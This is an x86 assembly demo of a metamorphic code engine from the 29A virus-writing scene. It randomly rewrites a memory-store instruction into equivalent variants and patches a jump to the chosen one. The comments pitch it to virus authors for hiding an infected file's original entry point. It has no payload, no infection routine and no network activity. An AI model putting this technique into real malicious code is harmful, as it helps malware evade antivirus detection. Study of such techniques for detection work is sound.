
comment %

        Lord Julus' Metamorphism Demo

        This is the very first version of a metamorphism demo. This code is
        quite simple and very straightforward. It is merely a demo for the
        beginners in metamorphism.

        This engine can be used to metamorphize instructions like:

             mov [mem], ???
             mov ???, [mem]

        It requires multiple places for the mem (the addresses),
        multiple instructions to obtain the action (the instructions).

        This demo will metamorphize this:

                  mov [ebp+xxxxxxxx], eax

        into different instructions and then call it, provided that eax must
        not be preserved. Run it under a debugger and see how it works by
        single stepping through the Call instr1 instructions.

        If you understand the process, with very few modifications you can
        use this to also metamorphize instructions like:

           <op> <reg>, <reg>
           <op> <mem>, <reg>
           <op> <reg>, <imm>, and so on...

        This engine can be used on multiple instructions. It will only
        metamorphize one at a time as EAX will hold the hunk number.

        A good way to use this is to metamorphize an instruction like this:

               mov eax, [ebp+OldAddressOfEntryPoint]

        so that the retrival of the old entrypoint is never the same.

        Anyhow, this requires you to manually fill the right variable.

        If you are ever to use this technique of metamorphization, be sure to
        spread inside your code the variables and addresses as explained
        below. This will make quite a difference...

                All the best,
                                   ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
                                   ³    Lord Julus / 29A   ³
                                   ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ

        %

.586p
.model flat, stdcall
jumps

extrn ExitProcess: proc
extrn GetTickCount: proc

.data
db 0

.code
                                                   ;
start:                                             ;
       xor ebp, ebp                                ; assume virus model ;-)
                                                   ;
       mov eax, 11111111h                          ;
       call instr1                                 ;do original instruction
                                                   ;
       mov eax, 0                                  ;metamorphize instr 0
       call LJ_Metamorphize                        ;
       mov eax, 22222222h                          ;
       call instr1                                 ;run it!
                                                   ;
       mov eax, 0                                  ;metamorphize again
       call LJ_Metamorphize                        ;
       mov eax, 33333333h                          ;
       call instr1                                 ;run it!
                                                   ;
       mov eax, 0                                  ;metamorphize again
       call LJ_Metamorphize                        ;
       mov eax, 44444444h                          ;
       call instr1                                 ;run it!
                                                   ;
       push 0                                      ;
       call ExitProcess                            ;

; This is the main jump towards the matamorphized instruction
; - it can point to a series of jumps as presented in the Madness Jump Table
; idea (not implemented here)

instr1: jmp var1_instr_1

        db 10 dup (0)

; Here are the instruction sets that can be executed in order to do the
; action. These also should be spread into the code

var1_instr_1:                                      ;variant 1
       mov [ebp+var1_1], eax                       ;
       nop                                         ;
       ret                                         ;
                                                   ;
var1_instr_2:                                      ;variant 2
       push eax                                    ;
       pop [ebp+var1_1]                            ;
       nop                                         ;
       ret                                         ;
                                                   ;
var1_instr_3:                                      ;variant 3
       xchg [ebp+var1_1], eax                      ;
       nop                                         ;
       ret                                         ;

; These are the possible ways to keep the value. They should be spread inside
; the code as separated as possible
var1_1 dd 0                                        ; address 1
var1_2 dd 0                                        ; address 2
var1_3 dd 0                                        ; address 3

; - Metamorphizer

LJ_Metamorphize:
; Entry: EAX = hunk number (starting with 0!)      ;
                                                   ;
       pusha                                       ;
                                                   ;
       call ChooseAddress                          ;choose address to use
       call ChooseInstruction                      ;choose instruction to use
       call FillPlace                              ;fill the address
       call FillJump                               ;fill the jump to it
                                                   ;
       popa                                        ;
       ret                                         ;
                                                   ;
choosen_address     dd 0                           ;holds the address
choosen_instruction dd 0                           ;holds the instruction
choosen_bit         dd 0                           ;the bit to address
                                                   ;
ChooseAddress:                                     ;
       push eax                                    ;
       lea esi, [ebp+AddressTable]                 ;point address tables
       mov ecx, eax                                ;
       or ecx, ecx                                 ;
       jz found_addresses                          ;
                                                   ;
find_addresses:                                    ;
       lodsd                                       ;
       add esi, eax                                ;
       loop find_addresses                         ;
                                                   ;
found_addresses:                                   ;
       lodsd                                       ;how many?
       call brandom32                              ;get a random one
       mov eax, [esi+eax*4]                        ;
       mov [ebp+choosen_address], eax              ;save address
       pop eax                                     ;
       ret                                         ;
                                                   ;
ChooseInstruction:                                 ;
       push eax                                    ;
       lea esi, [ebp+InstructionTable]             ;point instructions
       mov ecx, eax                                ;
       or ecx, ecx                                 ;
       jz found_instructions                       ;
                                                   ;
find_instructions:                                 ;
       lodsd                                       ;
       add esi, eax                                ;
       loop find_instructions                      ;
                                                   ;
found_instructions:                                ;
       lodsd                                       ;how many?
       call brandom32                              ;get a random one
       mov ebx, [esi+eax*2*4]                      ;
       mov [ebp+choosen_instruction], ebx          ;save it, and
       mov ebx, [esi+eax*2*4+4]                    ;
       mov [ebp+choosen_bit], ebx                  ;the bit
       pop eax                                     ;
       ret                                         ;
                                                   ;
FillPlace:                                         ;
       push eax                                    ;
       mov eax, [ebp+choosen_address]              ;take the address
       mov ebx, [ebp+choosen_instruction]          ;go to the instruction
       add ebx, ebp                                ;
       add ebx, [ebp+choosen_bit]                  ;to the right bit
       mov [ebx], eax                              ;and fill the address
       pop eax                                     ;
       ret                                         ;
                                                   ;
FillJump:                                          ;
       push eax                                    ;
       lea esi, [ebp+Jumps]                        ;locate the jump
       add esi, eax                                ;
                                                   ;
       lodsd                                       ;
       mov ebx, [ebp+choosen_instruction]          ;get the offset of the
       sub ebx, eax                                ;instruction
       add eax, ebp                                ;
       sub ebx, 2                                  ;calculate jump length
       mov [eax+1], ebx                            ;create jump!
                                                   ;
       pop eax                                     ;
       ret                                         ;
                                                   ;
                                                   ;
AddressTable:                                      ;
       Ahunk1:                                     ;
              dd 3                                 ;length of hunk
              dd offset var1_1                     ;addresses
              dd offset var1_2                     ;
              dd offset var1_3                     ;
                                                   ;
InstructionTable:                                  ;
       Ihunk1:                                     ;
              dd 3                                 ;length of hunk
              dd offset var1_instr_1               ;first instruction
              dd 2                                 ;at what bit offset?
              dd offset var1_instr_2               ;
              dd 3                                 ;
              dd offset var1_instr_3               ;
              dd 2                                 ;
                                                   ;
Jumps:                                             ;
       Jhunk1:                                     ;
              dd offset instr1                     ;jump address
                                                   ;
;----------------------                            ;
brandom32 proc                                     ;this bounds eax
       push edx                                    ;between 0 and eax-1
       push ecx                                    ;on random basis
       mov edx, 0                                  ;
       push eax                                    ;
       call random32                               ;
       pop ecx                                     ;
       div ecx                                     ;
       xchg eax, edx                               ;
       pop ecx                                     ;
       pop edx                                     ;
       ret                                         ;
brandom32 endp                                     ;
                                                   ;
random32 proc                                      ;this is a random nr
       push edx                                    ;generator. It's a
       call GetTickCount                           ;modified version of
       rcl eax, 2                                  ;some random gen I found
       add eax, 12345678h                          ;someday and it had
random_seed = dword ptr $-4                        ;some flaws I fixed...
       adc eax, esp                                ;
       xor eax, ecx                                ;
       xor [ebp+random_seed], eax                  ;
       add eax, [esp-8]                            ;
       rcl eax, 1                                  ;
       pop edx                                     ;
       ret                                         ;
random32 endp                                      ;
                                                   ;
end start                                          ;
end                                                ;
